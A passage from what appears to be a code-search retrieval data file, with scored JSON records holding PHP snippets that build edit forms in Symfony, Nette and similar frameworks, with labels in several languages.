hesla:')->setRequired('Zadejte ověření.')->addRule(Form::MIN_LENGTH, 'Heslo musí mít alespoň %d znaků', 6);\n\t\t\t$form->addHidden('id', $row->id);\n\t\t\t$form->addSubmit('submit', 'Vytvořit');\n\t\t\t$url = $this->link('user:edit');\n\t\t\t$form->setAction($url);\n\t\t\treturn $form;\n\t\t}else{\n\t\t\treturn 'Nejste majitelem tohoto Účtu';\n\t\t}\n\t}", "title": "" }, { "docid": "1ed2f18b7aacb5b030a3c935aa6f41e0", "score": "0.64597315", "text": "private function createEditForm(Lieu $entity)\n {\n $form = $this->createForm(new LieuType(), $entity, array(\n 'action' => $this->generateUrl('lieu_update', array('id' => $entity->getId())),\n 'method' => 'PUT',\n ));\n\n $form->add('submit', 'submit', array('label' => 'Update'));\n\n return $form;\n }", "title": "" }, { "docid": "1ed2f18b7aacb5b030a3c935aa6f41e0", "score": "0.64597315", "text": "private function createEditForm(Lieu $entity)\n {\n $form = $this->createForm(new LieuType(), $entity, array(\n 'action' => $this->generateUrl('lieu_update', array('id' => $entity->getId())),\n 'method' => 'PUT',\n ));\n\n $form->add('submit', 'submit', array('label' => 'Update'));\n\n return $form;\n }", "title": "" }, { "docid": "0051a7d37282c58ffdb839db12d710d6", "score": "0.64550596", "text": "private function createEditForm(Etiqueta $entity)\n {\n $form = $this->createForm(new EtiquetaType(), $entity, array(\n 'action' => $this->generateUrl('etiqueta_update', array('id' => $entity->getId())),\n 'method' => 'PUT',\n ));\n\n $form->add('submit', 'submit', array('label' => 'Update'));\n\n return $form;\n }", "title": "" }, { "docid": "0f8cfd057f7ef69db54e6847032ad1e3", "score": "0.6438506", "text": "private function createEditForm(Art $entity) {\n if ($entity->getOwner()) {\n if ($this->getUser()->getId() === $entity->getOwner()->getId() OR $this->get('security.context')->isGranted('ROLE_ADMIN')) {\n $form = $this->createForm(new ArtType(), $entity, array(\n 'action' => $this->generateUrl('art_update', array('id' => $entity->getId())),\n 'method' => 'PUT',\n ));\n $form->add('submit', 'submit', array('label' => 'Update'));\n return $form;\n }\n } else {\n throw $this->createNotFoundException('Unsufficent permission.');\n return $this->render('CustomAzureusBundle:Fun:ydtmw.html.twig');\n }\n }", "title": "" }, { "docid": "0255d382d16555567391d656b8331eb6", "score": "0.64290136", "text": "private function createEditForm(Candidature $entity)\n {\n $form = $this->createForm(new CandidatureType(), $entity, array(\n 'action' => $this->generateUrl('candidature_update', array('id' => $entity->getId())),\n 'method' => 'PUT',\n ));\n\n $form->add('submit', 'submit', array('label' => 'Update'));\n\n return $form;\n }", "title": "" }, { "docid": "026f3cd514b1bf35596d723f61d371cf", "score": "0.642191", "text": "private function createEditForm(AclAction $entity)\n {\n $form = $this->createForm(AclActionType::class, $entity, array(\n 'action' => $this->generateUrl('aclaction_update', array('id' => $entity->getId())),\n 'method' => 'PUT',\n ));\n\n $form->add('submit', SubmitType::class, array('label' => 'Zapisz zmiany', 'attr' => array('class' => 'btn btn-success' )));\n\n return $form;\n }", "title": "" }, { "docid": "b147917437a5003958be421b1583bdce", "score": "0.6414092", "text": "abstract protected function fillEditForm(Form $form);", "title": "" }, { "docid": "66a6fbdf57fbb5b1469a11026f5119c7", "score": "0.63831544", "text": "private function createEditForm(Retencion $entity) {\n $form = $this->createForm(new RetencionType(), $entity, array(\n 'action' => $this->generateUrl('retencion_update', array('id' => $entity->getId())),\n 'method' => 'PUT',\n ));\n\n $form->add('submit', 'submit', array('label' => 'Update'));\n\n return $form;\n }", "title": "" }, { "docid": "5f91030e4490b52501d7b3ee29e690ff", "score": "0.6376465", "text": "protected function createComponentEditEventForm()\n {\n $form = new Form;\n $form->addProtection('Vypršel časový limit, odešlete formulář znovu');\n $form->addHidden('id');\n $form->addText('name', 'Název akce:')\n ->setRequired('Vyplňte název akce');\n $form->addTextarea('text', 'Úvodní text lístečku:')\n ->setRequired('Vyplňte text lístečku')\n ->setAttribute('rows', 5);\n $form->addDynamic('event_meeting', function(Container $container){\n $container->addText('comment', 'Typ srazu:');\n $container->addDateTimePicker('starttime', 'Datum a čas srazu:')\n ->setRequired('Vyplňte čas srazu');\n $container->addText('startplace', 'Místo srazu:')\n ->setRequired('Vyplňte místo srazu');\n $container->addDateTimePicker('endtime', 'Datum a čas návratu:')\n ->setRequired('Vyplňte čas návratu');\n $container->addText('endplace', 'Místo návratu:')\n ->setRequired('Vyplňte místo návratu');\n $container->addSubmit('remove', 'X')\n ->setValidationScope(FALSE)\n ->addRemoveOnClick();//intentional, delete after whole form submit\n }, 1)\n ->addSubmit('add', 'Přidat sraz')\n ->setValidationScope(FALSE)\n ->addCreateOnClick(TRUE);\n $form->addTextarea('equipment', 'S sebou:')\n ->setRequired('Vyplňte co si s sebou vzít na akci')\n ->setAttribute('rows', 5);\n $form->addTextarea('morse', 'Morseovka:')\n ->setAttribute('rows', 5);\n //contact person\n $contacts = $this->registrations\n ->findBy(['member_nickname IS NOT NULL'])\n ->fetchPairs('member_nickname', 'member_nickname');\n $form->addSelect('contactperson', 'Kontaktní osoba:', $contacts)\n ->setRequired('Vyberte kontaktní osobu')\n ->setPrompt('Kontaktní osoba');\n if($this->user->isAllowed('Admin:Default:Event', 'show')){\n $form->addCheckbox('showevent', 'Zobrazit lísteček')\n ->setDefaultValue(TRUE);\n }\n\n $form->addSubmit('send', 'Změnit');\n $form->onSuccess[] = $this->editEventFormSucceded;\n return $form;\n }", "title": "" }, { "docid": "93456b6c25ad002b4acdd8321bb1c915", "score": "0.63743794", "text": "private function createEditForm(Operation $entity) {\n $form = $this->createForm(new OperationType(), $entity, array(\n 'action' => $this->generateUrl('operation_update', array('id' => $entity->getId())),\n 'method' => 'PUT',\n ));\n\n $form->add('submit', 'submit', array('label' => 'Update'));\n\n return $form;\n }", "title": "" }, { "docid": "de623b68ebb7841d313c26199fe9ba67", "score": "0.6351539", "text": "private function createEditForm(Parametrage $entity) {\n $form = $this->createForm(new ParametrageType(), $entity, array(\n 'action' => $this->generateUrl('parametrage_update', array('id' => $entity->getId())),\n 'method' => 'PUT',\n ));\n\n $form->add('submit', 'submit', array('label' => 'Mettre à jour', 'attr' => array('class' => 'btn btn-default')));\n\n return $form;\n }", "title": "" }, { "docid": "99d6b693b736652160191e8c181f1f38", "score": "0.6346567", "text": "private function createEditForm(OpererVoyage $entity)\n {\n $form = $this->createForm(new OpererVoyageType(), $entity, array(\n 'action' => $this->generateUrl('com_Operer_voyage_update', array('id' => $entity->getId())),\n 'method' => 'PUT',\n ));\n\n $form->add('submit', 'submit', array('label' => 'Update'));\n\n return $form;\n }", "title": "" }, { "docid": "afb9dd4532c3e886b7c3cfc7dd10651c", "score": "0.6343059", "text": "private function createEditForm(Recettes $entity)\n {\n $form = $this->createForm(new RecettesType(), $entity, array(\n 'action' => $this->generateUrl('recettes_update', array('id' => $entity->getId())),\n 'method' => 'PUT',\n ));\n\n $form->add('submit', 'submit', array('label' => 'Modifier'));\n\n return $form;\n }", "title": "" }, { "docid": "dda5bc5e86084c5d02b623eeb4ac2b0d", "score": "0.6337413", "text": "private function createEditForm(SesionTratamiento $entity)\n {\n $form = $this->createForm(new SesionTratamientoType(), $entity, array(\n 'action' => $this->generateUrl('admin_sesiontratamiento_update', array('id' => $entity->getId())),\n 'method' => 'PUT',\n ));\n\n $form->add('submit', 'submit', array('label' => 'Update'));\n\n return $form;\n }", "title": "" }, { "docid": "fe77caad2e4949efd560d1fb7e4409a4", "score": "0.63313866", "text": "private function createEditForm (EbRegra $entity)\n\t{\n\t\t$form = $this->createForm(new EbRegraType(), $entity, array(\n\t\t\t'action' => $this->generateUrl('compras_regra_update', array('id' => $entity->getId())),\n\t\t\t'method' => 'PUT',\n\t\t));\n\n\t\t$form->add('submit', 'submit', array('label' => 'Update'));\n\n\t\treturn $form;\n\t}", "title": "" }, { "docid": "adb97201e791c3c21ab2d60e4acc0610", "score": "0.6331343", "text": "private function createEditForm(Accompagnement $accompagnement)\n {\n $form = $this->createForm(AccompagnementType::class, $accompagnement);\n $form->add('submit', SubmitType::class, array('label' => 'Mettre à jour'));\n return $form;\n }", "title": "" }, { "docid": "51ac8605f92662630832864ef4771332", "score": "0.6329884", "text": "private function createEditForm(Deposito $entity)\n {\n $form = $this->createForm(new DepositoType(), $entity, array(\n 'action' => $this->generateUrl('deposito_update', array('id' => $entity->getId())),\n 'method' => 'PUT',\n ));\n\n $form->add('submit', 'submit', array('label' => 'Update'));\n\n return $form;\n }", "title": "" }, { "docid": "f576f7f42e23d58a59868a11c14c4cdb", "score": "0.6327337", "text": "protected function _getEditForm()\n {\n return new Debug_Model_Crontab_Form_Edit();\n }", "title": "" }, { "docid": "4cf701cb2ab8582d86877b4ffe090ce4", "score": "0.632578", "text": "private function createEditForm(Animatrice $entity)\r\n {\r\n $form = $this->createForm( 'Loonins\\SuiviBundle\\Form\\AnimatriceType', $entity, array(\r\n 'action' => $this->generateUrl('animatrice_update', array('id' => $entity->getId())),\r\n 'method' => 'POST',\r\n ));\r\n\r\n $form->add('submit', SubmitType::class, array('label' => 'Sauvgarder'));\r\n\r\n return $form;\r\n }", "title": "" }, { "docid": "7b403fbb513b42162fa766a607701e6d", "score": "0.6323318", "text": "public function createComponentEditForm()\n\t{\n\t\t$form = new Form;\n\t\t$form->addGroup('');\n\t\t$form->addHidden('ID_rezervace');\n\t\t$form->addHidden('stav_rezervace_old');\n\t\t$form->addSelect('stav_rezervace', 'Stav rezervácie lieku', self::RESERVATION_STATE)\n\t\t\t->setPrompt('Zvoľte stav rezervácie lieku')\n\t\t\t->setRequired(TRUE)\n\t\t\t->setAttribute('class', 'form-control');\n\t\t$form->addText('jmeno', 'Meno zákazníka')\n\t\t\t->addRule(Form::FILLED, 'Zadajte meno');\n\t\t$form->addText('rodne_cislo', 'Rodné číslo zákazníka')\n\t\t\t->setRequired(TRUE)\n\t\t\t->setAttribute('placeholder', 'XXXXXX/XXXX')\n\t\t\t->addRule(Form::PATTERN, 'Nesprávny tvar rodného čísla', '([0-9]{6}\\/[0-9]{4})');\n\t\t$form->addText('prijmeni', 'Priezvisko zákazníka')\n\t\t\t->addRule(Form::FILLED, 'Zadajte priezvisko');\n\n\t\t$form->addGroup('Rezervované lieky');\n\t\t$removeEvent = [$this, 'removeElementClicked'];\n\t\t$reservations = $form->addDynamic(\n\t\t\t'reservations',\n\t\t\tfunction (Container $reservation) use ($removeEvent) {\n\t\t\t\t$reservation->addHidden('ID_rezervace');\n\t\t\t\t$reservation->addSelect('ID_leku', 'Lieky', $this->medicineManager->getMedicinesToSelectBox())\n\t\t\t\t\t->setPrompt('Zvoľte liek')\n\t\t\t\t\t->setRequired(TRUE)\n\t\t\t\t\t->setAttribute('class', 'form-control');\n\t\t\t\t$reservation->addText('pocet_rezervovanych', 'Počet kusov')\n\t\t\t\t\t->setRequired(TRUE)\n\t\t\t\t\t->addRule(Form::INTEGER, 'Počet kusov musí být číslo')\n\t\t\t\t\t->addRule(Form::RANGE, 'Počet kusok musí byť kladné číslo', array(0, null))\n\t\t\t\t\t->setDefaultValue('1');\n\t\t\t\t$reservation->addSelect('ID_pobocky', 'Pobočky', $this->officeManager->getOfficesToSelectBox())\n\t\t\t\t\t->setPrompt('Zvoľte pobočku')\n\t\t\t\t\t->setRequired(TRUE)\n\t\t\t\t\t->setAttribute('class', 'form-control');\n\n\t\t\t\t$removeBtn = $reservation->addSubmit('remove', 'Odstrániť liek')\n\t\t\t\t\t->setAttribute('class', 'btn-danger')\n\t\t\t\t\t->setValidationScope(false);\n\t\t\t\t$removeBtn->onClick[] = $removeEvent;\n\t\t\t}, 1\n\t\t);\n\n\t\t$form->addGroup('');\n\t\t$reservations->addSubmit('add', 'Pridat liek do rezervácie')\n\t\t\t->setValidationScope(false)\n\t\t\t->setAttribute('class', 'btn-success')\n\t\t\t->onClick[] = [$this, 'addElementClicked'];\n\n\t\t$form->addGroup('');\n\t\t$form->addSubmit('submit', 'Uložiť rezerváciu')\n\t\t\t->setAttribute('class', 'btn-primary')\n\t\t\t->onClick[] = [$this, 'submitElementClicked'];\n\n\t\treturn $this->bootstrapFormRender($form);\n\t}", "title": "" }, { "docid": "68af35a75ece7955b52695fdb39aca8d", "score": "0.6321534", "text": "private function createEditForm(ClasificadorEstadoProyecto $entity)\n {\n $form = $this->createForm(new ClasificadorEstadoProyectoType(), $entity, array(\n 'action' => $this->generateUrl('clasificadorestadoproyecto_update', array('id' => $entity->getId())),\n 'method' => 'PUT',\n ));\n\n $form->add('submit', 'submit', array('label' => 'Update'));\n\n return $form;\n }", "title": "" }, { "docid": "c5d71fceff43c174d1b4151c1edb7253", "score": "0.6312962", "text": "function elobbyist_group_page_edit($entity) {\n elobbyist_group_page_title($entity);\n \n return drupal_get_form('elobbyist_group_form', $entity);\n}", "title": "" }, { "docid": "fd519c6827734d054594cbb10bcd6108", "score": "0.6303697", "text": "private function createEditForm(Fadfada $entity) {\n $form = $this->createForm(new FadfadaType(), $entity, array(\n 'action' => $this->generateUrl('fadfada_update', array('id' => $entity->getId())),\n 'method' => 'PUT',\n ));\n\n return $form;\n }", "title": "" }, { "docid": "2b0b5a9657de15e81a451a0341812bb9", "score": "0.6294529", "text": "private function createEditForm(Zasoby $entity)\n {\n $form = $this->createForm(ZasobyType::class, $entity, array(\n 'action' => $this->generateUrl('zasoby_update', array('id' => $entity->getId())),\n 'method' => 'PUT',\n 'nie_moze_edytowac' => $this->niemozeEdytowac,\n 'czy_wlasciciel_lub_powiernik' => $this->czyJestWlascicielemLubPowiernikiem,\n 'ldap_service' => $this->get('ldap_service'),\n ));\n\n $form->add('submit', SubmitType::class, array('label' => 'Zapisz zmiany', 'attr' => array('class' => 'btn btn-success' )));\n\n return $form;\n }", "title": "" }, { "docid": "a0e3816fa1f7f714c62bca889ab4a349", "score": "0.6284902", "text": "private function createEditForm(Characteristic $entity)\n {\n $form = $this->createForm(new CharacteristicType($this->get('doctrine.orm.entity_manager')->getRepository('OrkestroLocaleBundle:Locale')), $entity, array(\n 'action' => $this->generateUrl('orkestro_backend_product_characteristic_update', array('id' => $entity->getId())),\n 'method' => 'PUT',\n ));\n\n $form->add('submit', 'submit', array('label' => 'Update'));\n\n return $form;\n }", "title": "" }, { "docid": "c09b092e9745a34d64e941d2b8beb1b4", "score": "0.628307", "text": "private function createEditForm(Droit $entity) {\n $form = $this->createForm('UserBundle\\Form\\DroitType', $entity, array(\n 'action' => $this->generateUrl('droit_edit', array('id' => $entity->getId())),\n 'method' => 'POST',\n ));\n\n $form->add('submit', SubmitType::class, array('label' => 'Modifier'));\n\n return $form;\n }", "title": "" }, { "docid": "5230ee39b1576f05c4f8bf4d88654134", "score": "0.6277752", "text": "public function editAction()\n\t{\n\t\t$this->_initAction();\n\t\t$this->_addContent($this->getLayout()->createBlock('label/adminhtml_label_edit'));\n\t\t$this->renderLayout();\n\t}", "title": "" }, { "docid": "41813d82f997f2ba52c037ecee5f0ccc", "score": "0.626744", "text": "private function createEditForm(Salarie $entity)\n {\n $form = $this->createForm(new SalarieType(), $entity);\n// $form->add('user', new UserEditType());\n\n return $form;\n }", "title": "" }, { "docid": "f9f9f9cab96697fe333dd886a94efd5e", "score": "0.62663245", "text": "private function createEditForm(Produits $entity)\n {\n $form = $this->createForm(new ProduitsType(), $entity);\n\n $form->add('submit', 'submit', array('label' => 'Update'));\n\n return $form;\n }", "title": "" }, { "docid": "55bdb4e1c750cac6bfc8827cae3d3b4d", "score": "0.6264828", "text": "private function createEditForm(MedicalFormsFields $entity) {\r\n $form = $this->createForm(new MedicalFormsFieldsUpdateType(), $entity, array(\r\n 'action' => $this->generateUrl('medicalformsfields_update', array('id' => $entity->getId())),\r\n 'method' => 'PUT',\r\n ));\r\n\r\n $form->add('submit', 'submit', array('label' => 'Update'));\r\n\r\n return $form;\r\n }", "title": "" }, { "docid": "5c1544b2225be56677d1ab886a3b9ab7", "score": "0.6260662", "text": "protected function editAction()\n {\n SessionManager::clearSubformFromSession();\n return $this->renderForm('edit');\n }", "title": "" }, { "docid": "4499ed5fedd31e7f058f278be2033312", "score": "0.6260204", "text": "private function createEditForm(Account $entity)\n {\n $form = $this->createForm(new AccountType(), $entity, array(\n 'action' => $this->generateUrl('account_update', array('id' => $entity->getId())),\n 'method' => 'PUT',\n ));\n\n // $form->remove('number');\n $form->remove('cityid');\n $form->remove('cityname');\n\n $city=$entity->getCity();\n $namecity = $city->getName() . ' (' . $city->getState()->getName() . ', ' . $city->getState()->getCountry()->getName() . ')' ;\n \n $form->add('cityid', 'hidden', array('mapped'=>false, 'data'=>$city->getId()));\n $form->add('cityname', 'hidden', array('label'=> 'Ciudad ', 'data'=>$namecity, 'read_only' => true, 'mapped'=>false,));\n // 'constraints' => array(new NotBlank([\"message\" => \"Escoja una ciudad\"]))));\n //$form->add('state', 'text', array('label'=> 'Estado ', 'data'=>$city->getState(), 'read_only' => true, 'mapped'=>false));\n //$form->add('country', 'text', array('label'=> 'País ', 'data'=>$city->getState()->getCountry(), 'read_only' => true, 'mapped'=>false));\n\n // $form->add('number', 'text', array('label'=> 'Número de Cuenta ', 'read_only'=> true));\n $form->add('isactive', 'checkbox', array('label' => 'Cuenta activa', 'attr'=>array('class'=>'icheck')));\n $form->add('submit', 'submit', array('label' => 'Actualizar'));\n\n return $form;\n }", "title": "" }, { "docid": "c7bfd7a6f571abbdb67f79d194c13774", "score": "0.6253824", "text": "public function edit($id)\n\t{\n\t\t$form = \\View::make('project.form');\n\t\t$form->project = Project::find($id);\n\t\t$form->action = array('action' => array('Powerhouse\\Core\\ProjectController@update', $form->project->id),'class'=>'form-signup');\n\t\treturn $form;\n\t}", "title": "" }, { "docid": "6c9e0460e01593f400fd74211aa1609f", "score": "0.62532514", "text": "public function getFormEntity();", "title": "" }, { "docid": "150eb628e6c4ba413fde32be7ffd1740", "score": "0.6250665", "text": "private function createEditForm(Personel $entity)\n {\n $form = $this->createForm(new ObrazkiType(), $entity, array(\n 'action' => $this->generateUrl('personel_update', array('id' => $entity->getId())),\n 'method' => 'PUT',\n ));\n\n $form->add('submit', 'submit', array('label' => 'Update'));\n\n return $form;\n }", "title": "" }, { "docid": "53d402e20f3de2150a2555683d41a568", "score": "0.6236436", "text": "private function createEditForm(TipoCalidad $entity)\n {\n $form = $this->createForm(new TipoCalidadType(), $entity, array(\n 'action' => $this->generateUrl('tipocalidad_update', array('id' => $entity->getId())),\n 'method' => 'PUT',\n ));\n\n $form->add('submit', 'submit', array('label' => 'Actualizar'));\n\n return $form;\n }", "title": "" }, { "docid": "30545216eb33c24f8a152e2021bb6edf", "score": "0.6232592", "text": "public function editAction()\n {\n \t$entreprise = $this->getCurrentEntreprise(); \n \tif (!$entreprise) {\n \t\tthrow $this->createNotFoundException('Unable to find Entreprise entity.');\n \t}\n \t$editForm = $this->createEditForm($entreprise);\n \treturn array(\n \t\t\t'entity' => $entreprise,\n \t\t\t'edit_form' => $editForm->createView(),\n \t);\n }", "title": "" }, { "docid": "d51ff9ea0e26cf2f1b28d92e65897d4d", "score": "0.62322", "text": "private function createEditForm(EstadoAmbiente $entity)\n {\n $form = $this->createForm(new EstadoAmbienteType(), $entity, array(\n 'action' => $this->generateUrl('estadoambiente_update', array('id' => $entity->getId())),\n 'method' => 'PUT',\n ));\n\n // $form->add('submit', 'submit', array('label' => 'Update'));\n\n return $form;\n }", "title": "" }, { "docid": "9e98a2e82c70f49dfcec94423531f1dd", "score": "0.6228339", "text": "private function createEditForm(Empleado $entity)\r\n {\r\n $form = $this->createForm(new EmpleadoType(), $entity, array(\r\n 'action' => $this->generateUrl('admin_empleado_update', array('id' => $entity->getId())),\r\n 'method' => 'PUT',\r\n ));\r\n\r\n $form->add('submit', 'submit', array('label' => 'Modificar',\r\n 'attr'=>\r\n array('class'=>'btn btn-primary btn-sm')\r\n ));\r\n\r\n return $form;\r\n }", "title": "" }, { "docid": "ecfa5a508c2f03ea2cc02d899a44d64d", "score": "0.62247485", "text": "protected function _edit() {\r\n\t\treturn $this->_editForm();\r\n\t}", "title": "" }, { "docid": "d1bc76ee10d3c1987d93adb885f351c7", "score": "0.6217764", "text": "public function show_editform() \n {\n $this->item_form->display();\n }", "title": "" }, { "docid": "784c88d1aef79828709b78a982e38dff", "score": "0.62062776", "text": "private function createEditForm(Programacion $entity) {\n $form = $this->createForm(new ProgramacionType(array('idLocal' => $this->getUser()->getLocalComercial()->getId(), 'edit' => true)), $entity, array(\n 'action' => $this->generateUrl('programacion_update', array('id' => $entity->getId())),\n 'method' => 'PUT',\n ));\n $form->add('actualizar', 'submit', array('label' => 'Actualizar', 'attr' => ['class' => 'btn btn-primary']));\n\n return $form;\n }", "title": "" }, { "docid": "d042b534068e410dc53c2fa1c7e8d013", "score": "0.61988264", "text": "private function createEditForm(Fotoportafolio $entity)\n {\n $form = $this->createForm(new FotoportafolioType(), $entity, array(\n 'action' => $this->generateUrl('admin_fotoportafolio_update', array('id' => $entity->getId())),\n 'method' => 'PUT',\n ));\n\n $form->add('submit', 'submit', array('label' => 'Update'));\n\n return $form;\n }", "title": "" }, { "docid": "7a71eb7d22ea34a15f281dfbede26628", "score": "0.61965966", "text": "private function createEditForm(ProductKind $entity)\n {\n $form = $this->createForm(new ProductKindType(\n $this->get('doctrine.orm.entity_manager')->getRepository('OrkestroLocaleBundle:Locale'),\n $this->get('doctrine.orm.entity_manager')->getRepository('OrkestroProductBundle:Characteristic\\Characteristic')\n ), $entity, array(\n 'action' => $this->generateUrl('orkestro_backend_product_kind_update', array('id' => $entity->getId())),\n 'method' => 'PUT',\n ));\n\n $form->add('submit', 'submit', array('label' => 'Update'));\n\n return $form;\n }", "title": "" }, { "docid": "289bd265c0a6da978498ea9676083913", "score": "0.6195897", "text": "private function createEditForm(Evaluation $entity)\n {\n $form = $this->createForm(new EvaluationType(), $entity, array(\n 'action' => $this->generateUrl('evaluation_update', array('id' => $entity->getId())),\n 'method' => 'PUT',\n ));\n\n $form->add('submit', 'submit', array(\n 'label' => 'Enregistrer les modifications',\n 'attr' => (array( 'class' => 'btn btn-second' ))\n ));\n\n return $form;\n }", "title": "" }, { "docid": "f7fd77bdf7d56dcf52ec6694d06668e3", "score": "0.61956835", "text": "private function createEditForm(HomePage $entity)\n {\n\n $siteSettingId = $entity->getUser()->getSiteSetting()->getId();\n $form = $this->createForm(new HomePageType($entity->getUser()->getId(),$siteSettingId), $entity, array(\n 'action' => $this->generateUrl('homepage_update', array('id' => $entity->getId())),\n 'method' => 'PUT',\n 'attr' => array(\n 'class' => 'form-horizontal',\n 'novalidate' => 'novalidate',\n )\n ));\n\n $form->add('submit', 'submit', array('label' => 'Update', 'attr' => array('class' => 'btn btn-primary')));\n $form->add('reset', 'reset', array('label' => 'Reset', 'attr' => array('class' => 'btn btn-danger')));\n\n\n return $form;\n }", "title": "" }, { "docid": "baa3acf391e7308a964fe78d9b259912", "score": "0.61928856", "text": "public function editAction($id)\n { \n $em = $this->getDoctrine()->getManager();\n\n $entity = $em->getRepository('CommonBundle:Nomenclator')->find($id);\n\n if (!$entity) {\n throw $this->createNotFoundException('El nomenclador especificado no existe');\n }\n\n $editForm = $this->createForm(new NomenclatorType(), $entity);\n \n $entity_catalog = new Catalog();\n $form_catalog = $this->createForm(new CatalogType(), $entity_catalog);\n\n return $this->render('CommonBundle:Nomenclator:edit.html.twig', array(\n 'entity' => $entity,\n 'edit_form' => $editForm->createView(),\n 'form_catalog' => $form_catalog->createView()\n ));\n }", "title": "" }, { "docid": "cbb1412d44b1aab46fa5fd9ffe89c4b5", "score": "0.61916745", "text": "function showFormEntityConfig() {\n\n $ID = $this->getField('id');\n\n echo \"<div class='center'>\";\n echo \"<form method='post' action='\".Toolbox::getItemTypeFormURL(__CLASS__).\"'>\";\n echo \"<input type='hidden' name='id' value='$ID'>\";\n echo \"<table class='tab_cadre_fixe'>\";\n\n echo \"<tr><th class='center' colspan='4'>\". __('Import entities from LDAP directory').\n \"</th></tr>\";\n\n echo \"<tr class='tab_bg_1'><td>\" . __('Attribute representing entity') . \"</td>\";\n echo \"<td colspan='3'>\";\n echo \"<input type='text' name='entity_field' value='\".$this->fields[\"entity_field\"].\"'>\";\n echo \"</td></tr>\";\n\n echo \"<tr class='tab_bg_1'><td>\" . __('Search filter for entities') . \"</td>\";\n echo \"<td colspan='3'>\";\n echo \"<input type='text' name='entity_condition' value='\".$this->fields[\"entity_condition\"].\"'\n size='100'></td></tr>\";\n\n echo \"<tr class='tab_bg_2'><td class='center' colspan='4'>\";\n echo \"<input type='submit' name='update' class='submit' value=\\\"\".__s('Save').\"\\\">\";\n echo \"</td></tr>\";\n echo \"</table>\";\n Html::closeForm();\n echo \"</div>\";\n }", "title": "" }, { "docid": "f0a3eeb192b220668d8b4e4d04a0f52f", "score": "0.61911243", "text": "private function createEditForm(Bulto $entity)\n {\n $form = $this->createForm(new BultoType(), $entity, array(\n 'action' => $this->generateUrl('bulto_update', array('id' => $entity->getId())),\n 'method' => 'PUT',\n ));\n\n $form->add('submit', 'submit', array('label' => 'Update'));\n\n return $form;\n }", "title": "" }, { "docid": "43537aad041b300db7314033645da69c", "score": "0.61871207", "text": "public function EditForm() {\n\t\t// make sure to load fresh from db\n\t\t$record = DataObject::get_by_id('WikiPage', $this->data()->ID);\n\t\t$formatter = $record->getFormatter();\n\n\t\t$editorField = $formatter->getEditingField($record);\n\t\t$helpLink = $formatter->getHelpUrl();\n\n\n\t\t$fields = FieldList::create(\n\t\t\t\t\t\tnew LiteralField('Preview', '<div data-url=\"'.$this->Link('livepreview').'\" id=\"editorPreview\"></div>'),\n\t\t\t\t\t\tnew LiteralField('DialogContent', '<div id=\"dialogContent\" style=\"display:none;\"></div>'),\n\t\t\t\t\t\t$editorField,\n\t\t\t\t\t\tnew DropdownField('EditorType', _t('WikiPage.EDITORTYPE', 'Editor Type'), $this->data()->getEditorTypeOptions()),\n\t\t\t\t\t\tnew HiddenField('LockUpdate', '', $this->data()->Link('updatelock')),\n\t\t\t\t\t\tnew HiddenField('LockLength', '', $this->config()->get('lock_time') - 10)\n\t\t);\n\t\t\n\n\t\tif ($helpLink) {\n\t\t\t$fields->push(new LiteralField('HelpLink', '<a target=\"_blank\" href=\"' . $helpLink . '\">' . _t('WikiPage.EDITOR_HELP_LINK', 'Editor Help') . '</a>'));\n\t\t}\n\n\t\t$actions = null;\n\t\tif (!WikiPage::$auto_publish) {\n\t\t\t$actions = FieldList::create(\n\t\t\t\t\t\t\tnew FormAction('save', _t('WikiPage.SAVE', 'Save')),\n\t\t\t\t\t\t\tnew FormAction('done', _t('WikiPage.DONE', 'Done (Draft)')),\n\t\t\t\t\t\t\tnew FormAction('publish', _t('WikiPage.PUBLISH', 'Publish'))\n\t\t\t);\n\t\t} else {\n\t\t\t$actions = FieldList::create(\n\t\t\t\t\t\t\tnew FormAction('save', _t('WikiPage.SAVE', 'Save')),\n\t\t\t\t\t\t\tnew FormAction('publish', _t('WikiPage.FINISHED', 'Finished'))\n\t\t\t);\n\t\t}\n\n\t\t$actions->push(new FormAction('cancel', _t('WikiPage.CANCEL_EDIT', 'Cancel')));\n\t\t$actions->push(new FormAction('revert', _t('WikiPage.REVERT_EDIT', 'Revert')));\n\n\t\tif (Permission::check(MANAGE_WIKI_PAGES)) {\n\t\t\t$actions->push(new FormAction('addpage_t', _t('WikiPage.ADD_PAGE', 'New Page')));\n\t\t\t$actions->push(new FormAction('delete', _t('WikiPage.DELETE_PAGE', 'Delete Page')));\n\t\t}\n\n\t\t$form = new Form($this, \"EditForm\", $fields, $actions);\n\t\t$form->loadDataFrom($record);\n \n $this->extend('updateWikiEditForm', $form);\n\t\treturn $form;\n\t}", "title": "" }, { "docid": "cd9f7e39075ec0fc916971721af0cd2e", "score": "0.6183067", "text": "public function edit()\n {\n return view('core::edit');\n }", "title": "" }, { "docid": "8a4f3edc9b5c4fb712fbea49222e0ae5", "score": "0.6178585", "text": "public function edit(){\n if (!empty($_POST)) {\n $result = $this->comment->update($_GET['comId'], [\n 'content' => $_POST['content'] \n ]);\n if($result){\n //redirection\n header('Location: ' . $this->getLocation());\n exit;\n }\n }\n\n $post = $this->comment->find($_GET['comId']);\n\n $title = 'Edition d\\'un commentaire';\n\n $form = new BootstrapForm($post);\n $this->render('Admin.Comments.edit', compact('form', 'title'));\n }", "title": "" }, { "docid": "704bd05bb5b342386c8ae64a2f251b47", "score": "0.6177887", "text": "protected function editAction()\n {\n if ($this->request->isXmlHttpRequest()) {\n return $this->ajaxEdit();\n }\n\n $id = $this->request->query->get('id');\n if (!$item = $this->em->getRepository($this->entity['class'])->find($id)) {\n throw $this->createNotFoundException(sprintf('Unable to find entity (%s #%d).', $this->entity['name'], $id));\n }\n\n $fields = $this->entity['edit']['fields'];\n $editForm = $this->createEditForm($item, $fields);\n $deleteForm = $this->createDeleteForm($this->entity['name'], $id);\n\n $editForm->handleRequest($this->request);\n if ($editForm->isValid()) {\n $this->prepareEditEntityForPersist($item);\n $this->em->flush();\n\n return $this->redirect($this->generateUrl('admin', array('action' => 'list', 'view' => 'list', 'entity' => $this->entity['name'])));\n }\n\n return $this->render('@EasyAdmin/edit.html.twig', array(\n 'form' => $editForm->createView(),\n 'entity_fields' => $fields,\n 'item' => $item,\n 'delete_form' => $deleteForm->createView(),\n 'view' => 'edit',\n ));\n }", "title": "" }, { "docid": "a59e41f46052a502e173c2cb592827ca", "score": "0.61737263", "text": "private function createEditForm(Pno $entity)\n {\n $form = $this->createForm(new PnoType(), $entity, array(\n 'action' => $this->generateUrl('pno_update', array('id' => $entity->getId())),\n 'method' => 'PUT',\n ));\n\n return $form;\n }", "title": "" }, { "docid": "f8b69777c547736b1d9cae05ff88515d", "score": "0.6168488", "text": "private function createEditForm(BonCommande $entity)\n {\n $form = $this->createForm(new 